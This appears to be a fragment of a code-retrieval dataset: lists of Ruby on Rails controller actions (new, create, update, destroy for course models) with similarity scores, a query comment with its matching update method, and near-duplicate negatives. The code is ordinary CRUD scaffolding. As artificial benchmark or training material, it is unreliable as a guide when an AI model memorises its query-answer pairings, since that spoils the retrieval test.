"def new\n @course = Course.new\n \n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @course }\n end\n end",
"def new\n @course =Course.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @course }\n end\n end",
"def create\n @course = Course.new( { :subject_id => params[:subject_id] } )\n\n respond_to do |format|\n if @course.save\n current_user.courses << @course\n lesson = @course.lessons.new\n @course.lessons << lesson\n flash[:notice] = 'Start learning'\n format.html { redirect_to :controller => 'lessons', :action => 'show', :id => lesson.id }\n format.xml { render :xml => @course, :status => :created, :location => @course }\n else\n flash[:error] = 'Problem encountered.'\n format.html { redirect_to(:back) }\n format.xml { render :xml => @course.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @study_course = StudyCourse.new(params[:study_course])\n\n respond_to do |format|\n if @study_course.save\n format.html { redirect_to @study_course, notice: 'Study course was successfully created.' }\n format.json { render json: @study_course, status: :created, location: @study_course }\n else\n format.html { render action: \"new\" }\n format.json { render json: @study_course.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @given_course = GivenCourse.new(given_course_params)\n\n respond_to do |format|\n if @given_course.save\n format.html { redirect_to @given_course, notice: 'Given course was successfully created.' }\n format.json { render :show, status: :created, location: @given_course }\n else\n format.html { render :new }\n format.json { render json: @given_course.errors, status: :unprocessable_entity }\n end\n end\n end",
"def new\n @course = Course.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json=> @course }\n end\n end",
"def new\n @court = Court.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @court }\n end\n end",
"def create\n @university_course = UniversityCourse.new(university_course_params)\n\n respond_to do |format|\n if @university_course.save\n format.html { redirect_to @university_course, notice: 'University course was successfully created.' }\n format.json { render action: 'show', status: :created, location: @university_course }\n else\n format.html { render action: 'new' }\n format.json { render json: @university_course.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n if @course.save\n redirect_to @course, notice: 'Course was successfully created.'\n else\n redirect_to action: :new\n end\n end"
] |
[
"0.76898974",
"0.73798543",
"0.7334656",
"0.72327256",
"0.72273064",
"0.7128817",
"0.71268123",
"0.7109645",
"0.71044004",
"0.71044004",
"0.71044004",
"0.71044004",
"0.71044004",
"0.71044004",
"0.71044004",
"0.7092889",
"0.70824045",
"0.70697033",
"0.7053714",
"0.7053714",
"0.7053714",
"0.7053714",
"0.7053714",
"0.7053714",
"0.7053714",
"0.7053714",
"0.7053714",
"0.7053714",
"0.7053714",
"0.7053714",
"0.7053469",
"0.70405245",
"0.7036202",
"0.70223725",
"0.7021006",
"0.70075047",
"0.6971856",
"0.6936273",
"0.69285524",
"0.6925238",
"0.691431",
"0.6904684",
"0.6878902",
"0.68680453",
"0.68642706",
"0.6855127",
"0.68438417",
"0.68180877",
"0.6813448",
"0.68041235",
"0.67909646",
"0.6787088",
"0.67792565",
"0.6778656",
"0.67532104",
"0.671354",
"0.67088723",
"0.6708529",
"0.6693364",
"0.6692405",
"0.66890913",
"0.6686806",
"0.6683411",
"0.66773903",
"0.66728675",
"0.66668206",
"0.6666007",
"0.66611433",
"0.6655779",
"0.6619227",
"0.66116935",
"0.66115916",
"0.6608089",
"0.6605824",
"0.6603018",
"0.6600781",
"0.65794694",
"0.6578795",
"0.6578795",
"0.6578795",
"0.6578795",
"0.6578795",
"0.6578795",
"0.6578795",
"0.6578795",
"0.6578795",
"0.6578795",
"0.6573014",
"0.6566035",
"0.65619516",
"0.65578246",
"0.6553824",
"0.6549099",
"0.6539769",
"0.65335757",
"0.6526165",
"0.65219194",
"0.6517104",
"0.651684",
"0.6505732"
] |
0.7157716
|
5
|
PATCH/PUT /courses/1 PATCH/PUT /courses/1.json
|
def update
respond_to do |format|
if @course.update(course_params)
format.html { redirect_to @course, notice: 'Course was successfully updated.' }
format.json { render :show, status: :ok, location: @course }
else
format.html { render :edit }
format.json { render json: @course.errors, status: :unprocessable_entity }
end
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def update\n @course.update(course_params)\n render_jsonapi_response(@course)\n end",
"def update\n @course = Course.find(params[:id])\n respond_to do |format|\n if @course.update(courses_params)\n format.html { redirect_to @course, notice: 'Course was successfully updated.' }\n format.json { render :show, status: :ok, location: @course }\n else\n format.html { render :edit }\n format.json { render json: @course.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @course = Course.find(params[:id])\n\n respond_to do |format|\n if @course.update_attributes(params[:course])\n format.html { redirect_to @course, notice: 'course was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @course.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @course = Course.find(params[:id])\n\n respond_to do |format|\n if @course.update_attributes(params[:course])\n format.html { redirect_to @course, :notice => 'Course was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @course.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @course = Course.find(params[:id])\n\n respond_to do |format|\n if @course.update_attributes(params[:course])\n format.html { redirect_to @course, notice: 'Course was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @course.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @course = Course.find(params[:id])\n\n respond_to do |format|\n if @course.update_attributes(params[:course])\n format.html { redirect_to @course, notice: 'Course was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @course.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @course = Course.find(params[:id])\n\n respond_to do |format|\n if @course.update_attributes(params[:course])\n format.html { redirect_to @course, notice: 'Course was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @course.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @course = Course.find(params[:id])\n\n respond_to do |format|\n if @course.update_attributes(params[:course])\n format.html { redirect_to @course, notice: 'Course was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @course.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @course = Course.find(params[:id])\n\n respond_to do |format|\n if @course.update_attributes(params[:course])\n format.html { redirect_to @course, notice: 'Course was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @course.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @course = Course.find(params[:id])\n\n respond_to do |format|\n if @course.update_attributes(params[:course])\n format.html { redirect_to @course, notice: 'Course was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @course.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @course = Course.find(params[:id])\n\n respond_to do |format|\n if @course.update_attributes(params[:course])\n format.html { redirect_to @course, notice: 'Course was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @course.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @course = Course.find(params[:id])\n\n respond_to do |format|\n if @course.update_attributes(params[:course])\n format.html { redirect_to @course, notice: 'Course was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @course.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n \n #don't need to add user_id here.. already exists.\n \n @course = Course.find(params[:id])\n\n respond_to do |format|\n if @course.update_attributes(params[:course])\n format.html { redirect_to @course, notice: 'Course was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @course.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n begin\n @course = Course.find(params[:id])\n raise if @course.nil?\n \n respond_to do |format|\n if @course.update_attributes(params[:course])\n format.html { redirect_to club_course_path }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @course.errors, status: :unprocessable_entity }\n end\n end\n rescue\n render :layout => 'error', :template => 'errors/error'\n end\n end",
"def update\n @course.update_attributes(parama[:course])\n respond_with(@course)\n end",
"def update\n @course = Course.find(params[:id])\n respond_to do |format|\n if @course.update_attributes(params[:course])\n format.html { redirect_to user_course_path(current_user,@course), notice: 'Course was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @course.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @course = Course.find(params[:id])\n\n respond_to do |format|\n if @course.update_attributes(params[:course])\n format.html { redirect_to @course, :notice=> 'Curso actualizado' }\n format.json { head :ok }\n else\n format.html { render :action=> \"edit\" }\n format.json { render :json=> @course.errors, :status=> :unprocessable_entity }\n end\n end\n end",
"def update\n @course = Course.find(params[:id])\n @course.user_id=current_user.id\n respond_to do |format|\n if @course.update_attributes(params[:course])\n format.html { redirect_to(@course, :notice => 'Course was successfully updated.') }\n format.json { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @course.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n format.html { redirect_to @courses, notice: 'Course was successfully updated.' }\n format.json { render :show, status: :ok, location: @courses }\n\n\n end\n end",
"def update\n @course.update(course_params)\n respond_with(@course, location: course_path)\n end",
"def update\n respond_to do |format|\n if @course.update(course_params)\n format.html { redirect_to @course, notice: 'Course was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @course.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @course.update(course_params)\n format.html { redirect_to @course, notice: 'Course was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @course.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @course.update(course_params)\n format.html { redirect_to @course, notice: 'Course was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @course.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @course.update(course_params)\n format.html { redirect_to @course, notice: 'Course was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @course.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n\t\t@course = @teacher.courses.find(params[:id])\n\n respond_to do |format|\n if @course.update_attributes(params[:course])\n format.html { redirect_to [:teacher, @course], :notice => 'Course was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @course.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n authorize! :update, @course\n respond_to do |format|\n if @course.update(course_params)\n format.html { redirect_to @course, notice: 'Course was successfully updated.' }\n format.json { render :show, status: :ok, location: @course }\n else\n format.html { render :edit }\n format.json { render json: @course.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @course.update(course_params)\n format.html { redirect_to @course, notice: 'Course ' + @course.course_id + ' was successfully updated!' }\n format.json { render :show, status: :ok, location: @course }\n else\n format.html { render :edit }\n format.json { render json: @course.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @course = Admin::Course.find(params[:id])\n\n respond_to do |format|\n if @course.update_attributes(params[:course])\n format.html { redirect_to [:admin, @course], :notice => 'Course was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @course.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @course = Course.find(params[:id])\n\n respond_to do |format|\n if @course.update_attributes(params[:course])\n format.html { redirect_to courses_path(:option=>2), notice: 'El curso fue exitosamente editado!' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @course.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n if @course.update(course_params)\n render :show, status: :ok, location: @course\n else\n render json: @course.errors, status: :unprocessable_entity\n end\n end",
"def update\n respond_to do |format|\n if @admin_course.update(admin_course_params)\n format.html { redirect_to (params[:ref] || @admin_course), notice: t('crud.updated_successfully!', name: Admin::Course.model_name.human) }\n format.json { render :show, status: :ok, location: @admin_course }\n else\n format.html { render :edit }\n format.json { render json: @admin_course.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @course = Course.find(params[:id])\n \n respond_to do |format|\n if @course.update_attributes(params[:course])\n format.html { redirect_to @course, :notice => t('selecao_admin.flash_messages.successfully_updated', :model => @course.class.model_name.human) }\n format.json { head :no_content }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @course.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @people_course.update(people_course_params)\n format.html { redirect_to @people_course, notice: 'People course was successfully updated.' }\n format.json { render :show, status: :ok, location: @people_course }\n else\n format.html { render :edit }\n format.json { render json: @people_course.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @assessment_course = AssessmentCourse.find(params[:id])\n\n respond_to do |format|\n if @assessment_course.update_attributes(params[:assessment_course])\n format.html { redirect_to @assessment_course, notice: 'Assessment course was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @assessment_course.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @court = Court.find(params[:id])\n\n respond_to do |format|\n if @court.update_attributes(params[:court])\n format.html { redirect_to @court, notice: 'Court was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @court.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @course.update(course_params)\n format.html { redirect_to @course, notice: 'Curso editado satisfactoriamente' }\n format.json { render :show, status: :ok, location: @course }\n else\n format.html { render :edit }\n format.json { render json: @course.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @course.update(course_params)\n format.html { redirect_to @course, notice: 'Course was successfully updated.' }\n # format.json { render :show, status: :ok, location: @course }\n else\n format.html { render :edit }\n # format.json { render json: @course.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @course_request = CourseRequest.find(params[:id])\n\n respond_to do |format|\n if @course_request.update_attributes(params[:course_request])\n format.html { redirect_to @course_request, notice: 'Course request was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @course_request.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @course.update(course_params)\n format.html { redirect_to @course, notice: \"Course was successfully updated.\" }\n format.json { render :show, status: :ok, location: @course }\n else\n format.html { render :edit, status: :unprocessable_entity }\n format.json { render json: @course.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @course.update(course_params)\n format.html { redirect_to @course, notice: \"Course was successfully updated.\" }\n format.json { render :show, status: :ok, location: @course }\n else\n format.html { render :edit, status: :unprocessable_entity }\n format.json { render json: @course.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @course.update(course_params)\n format.html { redirect_to @course, notice: \"Course was successfully updated.\" }\n format.json { render :show, status: :ok, location: @course }\n else\n format.html { render :edit, status: :unprocessable_entity }\n format.json { render json: @course.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @course.update(course_params)\n format.html { redirect_to @course, notice: \"Course was successfully updated.\" }\n format.json { render :show, status: :ok, location: @course }\n else\n format.html { render :edit, status: :unprocessable_entity }\n format.json { render json: @course.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @course.update(course_params)\n format.html { redirect_to admin_courses_path, notice: 'Course was successfully updated.' }\n format.json { render :show, status: :ok, location: @course }\n else\n format.html { render :edit }\n format.json { render json: @course.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @course.update(course_params)\n format.html { redirect_to admin_course_url(@course), notice: 'Course was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @course.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @person_course.update(person_course_params)\n format.html { redirect_to @person_course, notice: 'Person course was successfully updated.' }\n format.json { render :show, status: :ok, location: @person_course }\n else\n format.html { render :edit }\n format.json { render json: @person_course.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @lecture = Lecture.find(params[:id])\n @course= Course.find(params[:course_id])\n \n respond_to do |format|\n if @lecture.update_attributes(params[:lecture])\n format.html { redirect_to [@course, @lecture], notice: 'Lecture was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @lecture.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @course.update(course_params)\n format.html { redirect_to @course, notice: 'Curso atualizado com sucesso.' }\n format.json { render :show, status: :ok, location: @course }\n else\n format.html { render :edit }\n format.json { render json: @course.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @study_course = StudyCourse.find(params[:id])\n\n respond_to do |format|\n if @study_course.update_attributes(params[:study_course])\n format.html { redirect_to @study_course, notice: 'Study course was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @study_course.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @course = Course.find(params[:id])\n @course.update_attributes(params[:course])\n\n respond_with @course, :location => [:admin, @course]\n end",
"def update\n respond_to do |format|\n if @user_course.update(user_course_params)\n format.html { redirect_to @user_course, notice: 'User course was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @user_course.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n\t\t@course = Course.find(params[:id])\n\n\t if @course.update_attributes(course_params)\n\n\t @course.major.clear\n\t @course.minor.clear\n\t @course.concentration.clear\n\t @course.distribution.clear\n\n\t params[:course][\"major_id\"].each do |major_id|\n\t if !major_id.empty?\n\t @course.major << Major.find(major_id)\n\t end\n\t end\n\n\t params[:course][\"minor_id\"].each do |minor_id|\n\t if !minor_id.empty?\n\t @course.minor << Minor.find(minor_id)\n\t end\n\t end\n\n\t params[:course][\"concentration_id\"].each do |concentration_id|\n\t if !concentration_id.empty?\n\t @course.concentration << Concentration.find(concentration_id)\n\t end\n\t end\n\n\t params[:course][\"distribution_id\"].each do |distribution_id|\n\t if !distribution_id.empty?\n\t @course.distribution << Distribution.find(distribution_id)\n\t end\n\t end\n\n\t flash[:success] = \"Successfully updated\"\n\t redirect_to :action => 'show', :id => @course\n\n\t end\n\tend",
"def update\n respond_to do |format|\n if @given_course.update(given_course_params)\n format.html { redirect_to @given_course, notice: 'Given course was successfully updated.' }\n format.json { render :show, status: :ok, location: @given_course }\n else\n format.html { render :edit }\n format.json { render json: @given_course.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n course = Course.includes(:professors).find(params[:id])\n course.update!(course_params)\n \n course.professor_ids=(params[:professors])\n\n render json: course.to_json(include: :professors)\n end",
"def update\n respond_to do |format|\n if @path_course.update(path_course_params)\n format.html { redirect_to @path_course, notice: 'Path course was successfully updated.' }\n format.json { render :show, status: :ok, location: @path_course }\n else\n format.html { render :edit }\n format.json { render json: @path_course.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n professor = Professor.find(params[:id])\n professor.update!(professor_params)\n\n render json: professor.to_json(include: :courses)\n end",
"def update\n respond_to do |format|\n if @course.update(course_params)\n flash[:success] = 'Course was successfully updated.'\n format.html { redirect_to admin_course_path}\n format.json { render :show, status: :ok, location: send(@course) }\n else\n flash[:danger] = 'Course already exists.'\n format.html { redirect_to edit_admin_course_path(@course, admin_id: current_admin.id) }\n format.json { render json: @course.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @type_of_courses = TypeOfCourse.all\n respond_to do |format|\n if @type_of_course.update(type_of_course_params)\n format.html { redirect_to @type_of_course, notice: 'Type of course was successfully updated.' }\n format.json { render :show, status: :ok, location: @type_of_course }\n else\n format.html { render :edit }\n format.json { render json: @type_of_course.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @course = Course.find(params[:id])\n \n if (!params[:course])\n params[:course] = {:name=>params[:title], \n :f_day=>params[:description], \n :l_day=>params[:price]\n } \n end\n\n respond_to do |format|\n if @course.update_attributes(params[:course])\n format.html { redirect_to @course, notice: 'Course was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @course.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @university_course.update(university_course_params)\n format.html { redirect_to @university_course, notice: 'University course was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @university_course.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @course.update(course_params)\n format.html { redirect_to @course }\n format.mobile { redirect_to @course }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.mobile { render action: 'edit' }\n format.json { render json: @course.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @course.update(course_params)\n format.html { redirect_to @course, notice: 'User was successfully updated.' }\n format.json { render :show, status: :ok, location: @course }\n else\n render action: 'edit'\n end\n end\n end",
"def update\n @course = Course.find(params[:id])\n invalid_redirect_action = updating_course_info?(params[:course]) ? \"edit\" : \"show\"\n\n respond_to do |format|\n if @course.update_attributes(params[:course])\n format.html { redirect_to @course, notice: 'Course was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: invalid_redirect_action }\n format.json { render json: @course.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @course.update(course_params)\n format.html { redirect_to @course, notice: 'Class was successfully updated.' }\n format.json { render :show, status: :ok, location: @course }\n else\n format.html { render :edit }\n format.json { render json: @course.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @course_section.update(course_section_params)\n format.html { redirect_to @course_section, notice: 'Course section was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @course_section.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @enrolled_course.update(enrolled_course_params)\n format.html { redirect_to @enrolled_course, notice: 'Enrolled course was successfully updated.' }\n format.json { render :show, status: :ok, location: @enrolled_course }\n else\n format.html { render :edit }\n format.json { render json: @enrolled_course.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @course_detail.update(course_detail_params)\n format.html { redirect_to @course_detail, notice: 'Course detail was successfully updated.' }\n format.json { render :show, status: :ok, location: @course_detail }\n else\n format.html { render :edit }\n format.json { render json: @course_detail.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n authorize @course\n respond_to do |format|\n if @course.update(course_params)\n format.html { redirect_to @course, notice: \"Course was successfully updated.\" }\n format.json { render :show, status: :ok, location: @course }\n else\n @tags = Tag.all\n format.html { render :edit, status: :unprocessable_entity }\n format.json { render json: @course.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @novanet_course.update(novanet_course_params)\n format.html { redirect_to @novanet_course, notice: 'Novanet course was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @novanet_course.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @type_course = TypeCourse.find(params[:id])\n\n respond_to do |format|\n if @type_course.update_attributes(params[:type_course])\n format.html { redirect_to @type_course, notice: 'Type course was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @type_course.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @course = Course.find(params[:id])\n\n respond_to do |format|\n if @course.update_attributes(params[:course])\n flash[:notice] = 'Course was successfully updated.'\n format.html { redirect_to courses_path }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @course.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @course = Course.find(params[:id])\n\n respond_to do |format|\n if @course.update_attributes(params[:course])\n format.html { redirect_to(@course, :notice => 'Course was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @course.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n authorize! :update, @course_section\n respond_to do |format|\n if @course_section.update(course_section_params)\n format.html { redirect_to @course_section, notice: 'Course section was successfully updated.' }\n format.json { render :show, status: :ok, location: @course_section }\n else\n format.html { render :edit }\n format.json { render json: @course_section.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @course = Course.find(params[:id])\n\n respond_to do |format|\n if @course.update_attributes(params[:course])\n flash[:notice] = 'Course was successfully updated.'\n format.html { redirect_to :action => 'index' }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @course.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @employees_course.update(employees_course_params)\n format.html { redirect_to @employees_course, notice: 'Employees course was successfully updated.' }\n format.json { render :show, status: :ok, location: @employees_course }\n else\n format.html { render :edit }\n format.json { render json: @employees_course.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @court.update(court_params)\n format.html { redirect_to @court, notice: 'Court was successfully updated.' }\n format.json { render :show, status: :ok, location: @court }\n else\n format.html { render :edit }\n format.json { render json: @court.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @course = Course.find(params[:id])\n\n respond_to do |format|\n if @course.update_attributes(params[:course])\n flash[:notice] = 'Course was successfully updated.'\n format.html { redirect_to( :back) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @course.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @admin_course.update(admin_course_params)\n format.html { redirect_to [:admin, @admin_course], notice: 'Course was successfully updated.' }\n #format.json { render :show, status: :ok, location: @admin_course }\n else\n format.html { render :edit }\n #format.json { render json: @admin_course.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @course = Course.find(params[:id])\n\n respond_to do |format|\n if @course.update_attributes(params[:course])\n flash[:notice] = 'Course was successfully updated.'\n format.html { redirect_to(@course) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @course.errors, :status => :unprocessable_entity }\n end\n end\n end"
] |
[
"0.72374034",
"0.7137671",
"0.7121435",
"0.7102951",
"0.708175",
"0.708175",
"0.708175",
"0.708175",
"0.708175",
"0.708175",
"0.708175",
"0.708175",
"0.70531946",
"0.70469433",
"0.6967811",
"0.696716",
"0.6964841",
"0.6954444",
"0.6949194",
"0.6934083",
"0.6929629",
"0.6929629",
"0.6929629",
"0.6929629",
"0.6928621",
"0.6918439",
"0.68971944",
"0.6887663",
"0.6871643",
"0.6835715",
"0.6830826",
"0.6815376",
"0.6807256",
"0.6803469",
"0.68031514",
"0.679686",
"0.6793151",
"0.6785962",
"0.6782753",
"0.6782753",
"0.6782753",
"0.6782753",
"0.678097",
"0.6770692",
"0.6768888",
"0.67602706",
"0.674873",
"0.67482096",
"0.6704989",
"0.670445",
"0.66898364",
"0.66820645",
"0.667509",
"0.6640902",
"0.662763",
"0.66183007",
"0.6601846",
"0.6592378",
"0.6587889",
"0.6574319",
"0.65728474",
"0.65707076",
"0.6569678",
"0.6564089",
"0.6560185",
"0.65587103",
"0.6558379",
"0.65573984",
"0.6555558",
"0.6550613",
"0.6535997",
"0.65136147",
"0.64654124",
"0.6464839",
"0.6461915",
"0.6455836",
"0.64449835",
"0.6439658"
] |
0.6830851
|
46
|
DELETE /courses/1 DELETE /courses/1.json
|
def destroy
@course.destroy
respond_to do |format|
format.html { redirect_to courses_url, notice: 'Course was successfully destroyed.' }
format.json { head :no_content }
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def destroy\n @course = Course.find(params[:id])\n @course.destroy\n\n respond_to do |format|\n format.html { redirect_to courses_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @course.destroy\n respond_to do |format|\n format.html { redirect_to courses_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @course.destroy\n respond_to do |format|\n format.html { redirect_to courses_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @course.destroy\n respond_to do |format|\n format.html { redirect_to courses_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @course.destroy\n respond_to do |format|\n format.html { redirect_to courses_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @course = Course.find(params[:id])\n @course.destroy\n\n respond_to do |format|\n format.html { redirect_to courses_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @course = Course.find(params[:id])\n @course.destroy\n\n respond_to do |format|\n format.html { redirect_to courses_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @course = Course.find(params[:id])\n @course.destroy\n\n respond_to do |format|\n format.html { redirect_to courses_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @course = Course.find(params[:id])\n @course.destroy\n\n respond_to do |format|\n format.html { redirect_to courses_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @course = Course.find(params[:id])\n @course.destroy\n\n respond_to do |format|\n format.html { redirect_to courses_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @course = Course.find(params[:id])\n @course.destroy\n\n respond_to do |format|\n format.html { redirect_to courses_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @course = Course.find(params[:id])\n @course.destroy\n\n respond_to do |format|\n format.html { redirect_to courses_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @course = Course.find(params[:id])\n @course.destroy\n\n respond_to do |format|\n format.html { redirect_to courses_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @course = Course.find(params[:id])\n @course.destroy\n\n respond_to do |format|\n format.html { redirect_to courses_url }\n format.json { head :no_content }\n end\n end",
